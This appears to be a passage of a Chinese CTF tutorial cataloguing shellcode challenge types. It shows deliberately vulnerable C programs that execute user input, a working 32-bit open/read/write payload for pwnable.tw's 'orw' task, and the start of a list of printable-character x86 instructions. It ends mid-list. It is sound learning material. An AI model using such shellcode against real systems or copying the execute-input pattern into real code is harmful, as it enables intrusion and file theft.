这里总结一下shellcode的各种类型
一、直接调用
#include <stdio.h>
int main(int argc, char const *argv[])
{
char s[0x500];
gets(s);
((void(*)(void))s)();
return 0;
}
直接执行shellcode,考查对shellcode的编写能力,pwntool可以直接生成shellcraft.sh(),没什么难度
二、禁用了system
参考pwnable.tw的orw,这种不能直接get shell,但是可以编写shellcode实现fp = open("flag") ,read(fp,buf,0x30),write(1,buf,0x30)来读取flag
#32位
payload = '''
/*fp = open("/home/orw/flag")*/
push 0x00006761
push 0x6c662f77
push 0x726f2f65
push 0x6d6f682f
mov eax,0x5
mov ebx,esp
xor ecx,ecx
int 0x80
/*read(fd,buf,0x100)*/
mov ebx,eax
mov ecx,esp
mov edx,0x30
mov eax,0x3
int 0x80
/*write(1,buf,0x100)*/
mov ebx,0x1
mov eax,0x4
int 0x80
'''
三、限制字符
像这样的
// gcc -m64 -z execstack -fPIE -pie -z now chall3.c -o chall3
int main() {
char buf[0x400];
int n, i;
n = read(0, buf, 0x400);
if (n <= 0) return 0;
for (i = 0; i < n; i++) {
if(buf[i] < 32 || buf[i] > 126) return 0;
}
((void(*)(void))buf)();
}
限制了shellcode为可打印字符,也就是说现在的shellcode中不能出现不可见字符,那么能用的汇编语句就大大减少了,如32位的int 0x80,64位的syscall都不能直接输入,那怎么办呢,参考大牛的总结,此类题目可用到的汇编指令如下 :
1.数据传送:
push/pop eax…
pusha/popa
2.算术运算:
inc/dec eax…
sub al, 立即数
sub byte ptr [eax… + 立即数], al dl…
sub byte ptr [eax… + 立即数], ah dh…
sub dword ptr [eax… + 立即数], esi edi
sub word ptr [eax… + 立即数], si di
sub al dl…, byte ptr [eax… + 立即数]
sub ah dh…, byte ptr [eax… + 立即数]
sub esi edi, dword ptr [eax… + 立即数]
sub si di, word ptr [eax… + 立即数]
3.逻辑运算:
and al, 立即数
and dword ptr [eax… + 立即数], esi edi
and word ptr [eax… + 立即数], si di
and ah dh…, byte ptr [ecx edx… + 立即数]
and esi edi, dword ptr [eax… + 立即数]
and si di, word ptr [eax… + 立即数]
xor al, 立即数
xor byte ptr [eax… + 立即数], al dl…
xor byte ptr [eax… + 立即数], ah dh…
xor dword ptr [eax… + 立即